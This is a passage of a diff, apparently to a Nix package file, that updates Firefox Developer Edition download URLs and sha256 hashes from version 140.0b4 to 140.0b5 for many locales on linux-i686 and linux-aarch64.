+      sha256 = "3f61fce6f15fd873eb33a8deac9b11c0f0e835c81e48ecdd615f2358678227e4";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ne-NP/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ne-NP/firefox-140.0b5.tar.xz";
       locale = "ne-NP";
       arch = "linux-i686";
-      sha256 = "772ddc3bda37a90f96ebf2c0031f6b382e1551b46b24636fb1fdf327438e6bc3";
+      sha256 = "28a5ad4cd3691b9fd8b56203810e0071667370773cc725dc85a6918082b3a98e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/nl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/nl/firefox-140.0b5.tar.xz";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "52cfa752621f9671ca20ff58f17daf8231b6b25fdd93a0ab7089ee9ba30545c4";
+      sha256 = "eb6aaf0fd490205fb55a50422363c49cb2e9334e8d9b17589f90bcdae2eda99e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/nn-NO/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/nn-NO/firefox-140.0b5.tar.xz";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "0f0da43087dde742473ae10ce9aaaf698a82ecd7f6934a22115eeedd25d9f096";
+      sha256 = "225b9dd0b61653a729946b7e2a694998486e10397cae85b1aca6bff7d81a70d6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/oc/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/oc/firefox-140.0b5.tar.xz";
       locale = "oc";
       arch = "linux-i686";
-      sha256 = "59c4b11f86d1699f696d820a7b7f188744a4b05ed8969b16e4e275994e885592";
+      sha256 = "4cbbdae996545ecfb2b0503fae50986cef6fceccbe72d68eee301f1a0a83c5a0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/pa-IN/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/pa-IN/firefox-140.0b5.tar.xz";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "e00b35803b0327542c1b8205bae4cd92a0f4d0996d04f6d0e102271def7faba7";
+      sha256 = "71e3e3aa45afd446fc060600c475f1efed29856f99c5f8eddc009a4197758776";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/pl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/pl/firefox-140.0b5.tar.xz";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "8a608042c8e0bc3b680c43a17f2c2056e33e7ec08786925e84e78770d2dd56f0";
+      sha256 = "928e1b89d48c504ceef9622ccee53b1e73bf007160de8c2a47fe27679700a217";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/pt-BR/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/pt-BR/firefox-140.0b5.tar.xz";
       locale = "pt-BR";
       arch = "linux-i686";
-      sha256 = "e53f0c8f5f95aa91285ecec905eb0f4319241c6d0213fc18005be9a6b217e856";
+      sha256 = "a6641527d0bb48f1ebd0e943a1b6520cb20fdc017a99781996ee7cb3224d432f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/pt-PT/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/pt-PT/firefox-140.0b5.tar.xz";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "4c9776ae68caff9fb70b72f4bdeb11479cae6de27e2a55d8cb861b741b753155";
+      sha256 = "73ff19ebdc38f46a463bd850df6529e73260be52892e54cbc809f3ce22a910e8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/rm/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/rm/firefox-140.0b5.tar.xz";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "065aea6a7a7557aa03eca1448b98a1f6d28d63623dc20d6c5a2f810ffb034009";
+      sha256 = "a770b4d0efcb405f06c493064a252b1171d0f4a9676e2305ac6a7ebbd94bd415";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ro/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ro/firefox-140.0b5.tar.xz";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "c32c420d584098f614af1009dd6bc9ea2b90447c2681684f36ce16824113ba28";
+      sha256 = "9dc409c431468cdd06b17fc4341eb9e32952cfa09a49b666c50ca926ed18c168";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ru/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ru/firefox-140.0b5.tar.xz";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "2bfbab38ec47b41af7b52a712aa1e8ee8530834f186147ea3ec4d96da3f75538";
+      sha256 = "70c0285e2c6d0a9e4b9f0ebe7f1704fbebd0c116f145dc2efccb31564c44ec90";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/sat/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/sat/firefox-140.0b5.tar.xz";
       locale = "sat";
       arch = "linux-i686";
-      sha256 = "dee5070ffc55dc9ea07db4f2fcef6f0114e919b744f077d083a07db56df140cd";
+      sha256 = "a31c13e572411b3a21ad460335bee076012ee0fcb736156b0d0adacd2e16d685";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/sc/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/sc/firefox-140.0b5.tar.xz";
       locale = "sc";
       arch = "linux-i686";
-      sha256 = "508d7612dfcd6b021b8491b4a81a5554e333bc09c499076807c55fb8d855c840";
+      sha256 = "4e2452c54842dfabe8ef514766c6678023260ed0ca621cf95f1a38a855358eb0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/sco/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/sco/firefox-140.0b5.tar.xz";
       locale = "sco";
       arch = "linux-i686";
-      sha256 = "fd658e1c2470ab0428e55d045ff28b5b84b1b598064104184bdc2d4a5d3c9435";
+      sha256 = "964377cb40cdf509a0117b7b18eeebfef92807502ba93b8d0744cabc19590d1f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/si/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/si/firefox-140.0b5.tar.xz";
       locale = "si";
       arch = "linux-i686";
-      sha256 = "40e764c31003d7d14040eaa0c414c1ceee0a189cecaad1340e3979c6e8357c15";
+      sha256 = "046f379314acc324d62aa2e4fc3fe06b1cbf4506609029c9e9694ab44ab31efc";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/sk/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/sk/firefox-140.0b5.tar.xz";
       locale = "sk";
       arch = "linux-i686";
-      sha256 = "775c2ba89716d160f918d14f2b0308ec36d82f62891444fa8900f404928f9c0a";
+      sha256 = "c0b3443e765be546c04d609150cd0d0aebcfa83f8142da85ad6af921e2a286af";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/skr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/skr/firefox-140.0b5.tar.xz";
       locale = "skr";
       arch = "linux-i686";
-      sha256 = "307088fdb23dc49e94125b291c489c94c24852a7a9183bef7c24e0c6021dfe51";
+      sha256 = "ef7d2d23ad027e4d263d61e1d581fb6b6e3e8f75567d46f6cc2d769034dfa822";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/sl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/sl/firefox-140.0b5.tar.xz";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "4e44491b0516f11d1bad2a5bdf3a36d6a910b686d2b41461c41eaba11c96d337";
+      sha256 = "b2c87ac86184c0860c35e11ed46205c695cbcd9efc68dc6253754161cb1bb4ba";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/son/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/son/firefox-140.0b5.tar.xz";
       locale = "son";
       arch = "linux-i686";
-      sha256 = "9298a06871c2f64c7ef8f1431a414c9618c6bb1fb7ddfd8bd7c44b05db7100e7";
+      sha256 = "a7588f9989c1ade6420dc81d3192a74283b63fa62d2968e98604cb10e6e2a079";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/sq/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/sq/firefox-140.0b5.tar.xz";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "31c4d00e0fa5f40b595601ebca3d6915a1063f0c54c4a5d4e6a38f200e682452";
+      sha256 = "b0930917909caa42a400471105887dee86af422c3faea00d41f79826e11f4b6c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/sr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/sr/firefox-140.0b5.tar.xz";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "4bec7611e461fddbbdb227fddfbd9a75b385159e21b2cae079f90d4f08ca7e91";
+      sha256 = "4fd3e9643e6835053dfa9e41857aa4858513f5e0e51155ccde6fc74f13f85755";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/sv-SE/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/sv-SE/firefox-140.0b5.tar.xz";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "cb0ec16d9499c30569efd03432a54afd2d5fba3814b4bcb8910ba2f15e72f0b8";
+      sha256 = "2604b9a5e6204d90799a2deb7a5fe0428265b857c073304c8633de4f410db45d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/szl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/szl/firefox-140.0b5.tar.xz";
       locale = "szl";
       arch = "linux-i686";
-      sha256 = "b5499e418ce022f9c586a02304632099a40c24d1c85ce4e0c860cb62e549cb07";
+      sha256 = "cfa4729ce0645fb581b00b10cf46784d6c5bc44f1fa313e3ec2476f85c7b993a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ta/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ta/firefox-140.0b5.tar.xz";
       locale = "ta";
       arch = "linux-i686";
-      sha256 = "8ae42a4880e83ac18d95b4fe6b7291bbd6edd0a6712849ad0a7e773c93b63576";
+      sha256 = "7293bd556ab5ba7af783b732047ae4735445a2cedf3cdf633cb71c6181c6cd45";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/te/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/te/firefox-140.0b5.tar.xz";
       locale = "te";
       arch = "linux-i686";
-      sha256 = "e9d5dcf1e96a856e72911d6d236d05defc9f8a0a9c6681846bd3fa7dec7ed0e6";
+      sha256 = "245e23da711630d327092b23bedc30bb43abbab850a02e7d794ee871212200c2";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/tg/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/tg/firefox-140.0b5.tar.xz";
       locale = "tg";
       arch = "linux-i686";
-      sha256 = "73f95036c7f4582ab186f759580217094ae41a25bbd73b04114665ba62743414";
+      sha256 = "562caf3ad16817c9fab7031d6eb95cbab162e937577a1b7b3adcd25556e5e83e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/th/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/th/firefox-140.0b5.tar.xz";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "de64c2f0db63b483c120fd86628e7a1de36f291944d5496a94d76cd62605bf1b";
+      sha256 = "09b77a463e1d587e90f0761ceedaff1dbfa9618b3615da9c1c217a968b1a099a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/tl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/tl/firefox-140.0b5.tar.xz";
       locale = "tl";
       arch = "linux-i686";
-      sha256 = "8d6d26d45c5daaeea7f7997d066bee1d8bf543fe16364c19d12430ce53b8d47c";
+      sha256 = "2a7edc4e6f8437564817e07bf6a70360c0cb13cba796f1e5f5d75e9a9a2ada03";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/tr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/tr/firefox-140.0b5.tar.xz";
       locale = "tr";
       arch = "linux-i686";
-      sha256 = "a0334ec1f4e48340e43e9a7440a59df4977f6794b354ee1b9eee76a89c48171d";
+      sha256 = "b756378920ca14c37469d61c63f34a9466f59f40a82b472ea28d61899bb895f7";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/trs/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/trs/firefox-140.0b5.tar.xz";
       locale = "trs";
       arch = "linux-i686";
-      sha256 = "42d65c749b7fedda87b79b2f29c30e603b6971e42f909ae43aa3d59d2210a162";
+      sha256 = "0ae49d1e6bda868036ec0c414d5bbc5ff74be0732bb6e4805a2e2e828f72b24c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/uk/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/uk/firefox-140.0b5.tar.xz";
       locale = "uk";
       arch = "linux-i686";
-      sha256 = "6b9aca59b26d720fe0aafb8d5ae8be6c1c16985ace64c4e795b6b85f4cc6fb24";
+      sha256 = "aa70f392172d975aa5041b023b9b80a21f5f718d4ca4bdf109d3bfde49088ade";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ur/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ur/firefox-140.0b5.tar.xz";
       locale = "ur";
       arch = "linux-i686";
-      sha256 = "3a30933f5c7e041bf47dea561c20456c47324b1abfbf21f57c1d07c7df7617ca";
+      sha256 = "91fddeb7716b46bb8777edb7267e60aaabec997aa42d7e2df71e6487e569c7da";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/uz/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/uz/firefox-140.0b5.tar.xz";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "6b22217611fcd94531655d79f0f75ce39ab8e7165dea079d82e5f396102db1d2";
+      sha256 = "e638a03300432737035c8ec16c9436ad3774ca47b2046a86148293b293fda3e6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/vi/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/vi/firefox-140.0b5.tar.xz";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "528d077a9927444f97f9038dfc189b1ce8c5c1df9fca970c6fc7cfa821398cac";
+      sha256 = "9bd9044f192512c9ea151e78363695e4b6b3b983818c86192f73ffe9513d9b01";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/xh/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/xh/firefox-140.0b5.tar.xz";
       locale = "xh";
       arch = "linux-i686";
-      sha256 = "265dd3d23420ec4769c5922bbe385cec8c44ea282673fcfe772292523befa44e";
+      sha256 = "5705c42926c38b630f6c9fc5fb04cf09ecafb589dadba19e2e6cd91600141085";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/zh-CN/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/zh-CN/firefox-140.0b5.tar.xz";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "71acb38bd43c8f8bde7dad6b9a23d34559f7a7d0c369f7e85b3cd32d13b44a71";
+      sha256 = "ddcd5d6ae6274b4f341fa1a1a92b738ddbb2851701482e52b014f282c7d1774e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/zh-TW/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/zh-TW/firefox-140.0b5.tar.xz";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "879603c78d95d245b4efe4cfb1362c57042a1fd56aeda5be0b3af15a28f788c6";
+      sha256 = "aead8a1998fe6f5364c1c1a57477361b3c23b63e6c73ded903b2e0ad341b363e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ach/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ach/firefox-140.0b5.tar.xz";
       locale = "ach";
       arch = "linux-aarch64";
-      sha256 = "a7e501acd0069fb355d5bc55e0d60e578122e8f08d90b064ace8d13bf4127ea1";
+      sha256 = "1e011638061ce47193502f1244c48b2ba954e7e665c7ddcd8d7fe338cc9e61ce";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/af/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/af/firefox-140.0b5.tar.xz";
       locale = "af";
       arch = "linux-aarch64";
-      sha256 = "3edc1c94431ab99d9e9f9e6380fbf29523bfc560bdc398d40e0bb84436167db2";
+      sha256 = "b7eff363385cad3a3cf1e6e4afb704b203f5a7becbff73729411355199105ff8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/an/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/an/firefox-140.0b5.tar.xz";
       locale = "an";
       arch = "linux-aarch64";
-      sha256 = "bf641e4e3fcb50a2720828c68dd823ce804cb8ba1a19197b153c7b243aa73c10";
+      sha256 = "2bc588b60e77e62063ec8c6b7fa7b05bb68100953b58e82335644135f1406ebc";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ar/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ar/firefox-140.0b5.tar.xz";
       locale = "ar";
       arch = "linux-aarch64";
-      sha256 = "ec1c54d5165736d52fc882c22f04df0b9a82a3d5cb005d39a970f94dc352a6fe";
+      sha256 = "6f4edbedf96574f929eac18e8c727f0de149ee37ee73fc6c48df52dc2ef4f49b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ast/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ast/firefox-140.0b5.tar.xz";
       locale = "ast";
       arch = "linux-aarch64";
-      sha256 = "074fe462785332a3c2e2f3d8a5d0ce22d13a640b9e8d0acc98d3ee1647c44240";
+      sha256 = "3495d176546a734f7f187559418fe2d7f3c76c9e83da587c1fb4edcda4dbfb8f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/az/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/az/firefox-140.0b5.tar.xz";
       locale = "az";
       arch = "linux-aarch64";
-      sha256 = "b3ebe88576c6d0c609a7a42783f5e90f9e3961ecc21e6bf0eee1244490111791";
+      sha256 = "550d5cf64ee2c75daa38a6cda871bec1f61ca0e563e0d5b1962880f80e70c160";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/be/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/be/firefox-140.0b5.tar.xz";
       locale = "be";
       arch = "linux-aarch64";
-      sha256 = "645a471bc45c54f63be87d6a1a3ea5ae5f424bf32b7f9b472437464240c21ec5";
+      sha256 = "330e775dca339e3a6945d23eeb03aa752eeb9e8491a35eaba36601610f5ea122";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/bg/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/bg/firefox-140.0b5.tar.xz";
       locale = "bg";
       arch = "linux-aarch64";
-      sha256 = "c8f85a2504587fd939057432ed8e7735a1ba0371894624a54c6d6fa8b2fc8788";
+      sha256 = "8faa665c4a0b31b933a7408f116eafceb88a62ac35ad5e4e168763d9a191c5b7";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/bn/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/bn/firefox-140.0b5.tar.xz";
       locale = "bn";
       arch = "linux-aarch64";
-      sha256 = "53832bb8bb533abdff06a5465aa932a0abe4241b7bc9cdbaaf6ca4f21b320240";
+      sha256 = "8c72162a644877585db295686598bc7e5dc8d620ac5bb266b7781ad44dc7a248";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/br/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/br/firefox-140.0b5.tar.xz";
       locale = "br";
       arch = "linux-aarch64";
-      sha256 = "f419664ce76ee1caf1ad5d6e4c3c469c3647a5b649a729db98535dd25d614aee";
+      sha256 = "a18b9133a16206f1d67bc9d5e627cfc9fb721619c5ac01da1546da98147e735a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/bs/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/bs/firefox-140.0b5.tar.xz";
       locale = "bs";
       arch = "linux-aarch64";
-      sha256 = "ed84c36ab94648dcbe89993fde2ebb9a5f888d9cb83da3912a60ef7c68f676fe";
+      sha256 = "58777ac3d69a8855e2b0a951cedd3f4f953de54b70420083b78dbd19275448a8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ca-valencia/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ca-valencia/firefox-140.0b5.tar.xz";
       locale = "ca-valencia";
       arch = "linux-aarch64";
-      sha256 = "f51810d7120309d7907ce365a3ca7889ccd2cca40078fdf339c723bf00cc9cc6";
+      sha256 = "449002fe40db46803bcf5bd6a52eee835480a72c9c59df4496ed68e4b56832a6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ca/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ca/firefox-140.0b5.tar.xz";
       locale = "ca";
       arch = "linux-aarch64";
-      sha256 = "a6b2ec151b6e56d010635b3edb5fd23659ee5eac7b14caf4e7a9107a05049cf1";
+      sha256 = "59474c67b320c3e9e8ab08d47b2b0277265ec09e1b5f12c7532bd223c3f8f3dc";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/cak/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/cak/firefox-140.0b5.tar.xz";
       locale = "cak";
       arch = "linux-aarch64";
-      sha256 = "f281b21314debf2f7911a55f1a03a7d18d15800e598dd0d227d51fbc0686bb1c";
+      sha256 = "60dabdd0cdf32ea8dfa74a8e867e93846dcbdba1fed03063caf70781df141b83";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/cs/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/cs/firefox-140.0b5.tar.xz";
       locale = "cs";
       arch = "linux-aarch64";
-      sha256 = "df68b5f0652248f01854a273564a97009e5323107be4f0643af0d1e274d01ca7";
+      sha256 = "45ae87dfcfebf1fb2912b5644d162162d8a98455e9229c06d5f23a5644a91db1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/cy/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/cy/firefox-140.0b5.tar.xz";
       locale = "cy";
       arch = "linux-aarch64";
-      sha256 = "4b8eb5be13009cc0f26f6145d6a424e6063f21cfcc70c58fc0ad0e3b29113846";
+      sha256 = "40108a63e30314a5aa599b09ac6f0ca87b5f7dbd08de0fa09038bfcf291e951b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/da/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/da/firefox-140.0b5.tar.xz";
       locale = "da";
       arch = "linux-aarch64";
-      sha256 = "a43ef915b3c408f6072266f3b97ac02b3f27bd10b8ba1e2ec27e43a3a3d480e8";
+      sha256 = "19627a6e38683435e26c184139d9fef0c85d354fe34b406ac16be4de09e7d783";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/de/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/de/firefox-140.0b5.tar.xz";
       locale = "de";
       arch = "linux-aarch64";
-      sha256 = "c9dca2e0fae1bb033049ced050256a63a90158a60c8b42609dbd11081bfe8ec3";
+      sha256 = "f64faf6d852a31a0e833215789c49f2d58ac4f2f293a68ad1ff6e81ebdbf0bef";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/dsb/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/dsb/firefox-140.0b5.tar.xz";
       locale = "dsb";
       arch = "linux-aarch64";
-      sha256 = "07cea557c54f2033f36f5f084d06575b6f55e8cf2f8af9ec333ec2487b96fcf5";
+      sha256 = "184d700e189dcbc21d40d3f5db54c2837356321b027608b330e1cd76268a8650";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/el/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/el/firefox-140.0b5.tar.xz";
       locale = "el";
       arch = "linux-aarch64";
-      sha256 = "1dcd0eba988414a72a17218a05bf2fe6f5ab1af26dd1ae07bac72d9af2f4f502";
+      sha256 = "9a8ca4f1f802229d9cc0f560488186245a82405aa938cdba20d7ef760314a262";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/en-CA/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/en-CA/firefox-140.0b5.tar.xz";
       locale = "en-CA";
       arch = "linux-aarch64";
-      sha256 = "aade344b8c7db7a3fafaa67245d7d38d7470c7b9d0c94978b7bd3c36a2127571";
+      sha256 = "4886557b6a6ab5db4c71cc6440b60cdbd43bfc432f122de2194ca059766919f6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/en-GB/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/en-GB/firefox-140.0b5.tar.xz";
       locale = "en-GB";
       arch = "linux-aarch64";
-      sha256 = "e45fda7738885e6aeb3141e8b1eda1e8c962dcc6cb9c5254d0e20921f066e4ed";
+      sha256 = "45050e91de2864cffc6dd4300d44f389922d8dd572ec257ec72171ce8c09143a";
     }
     {
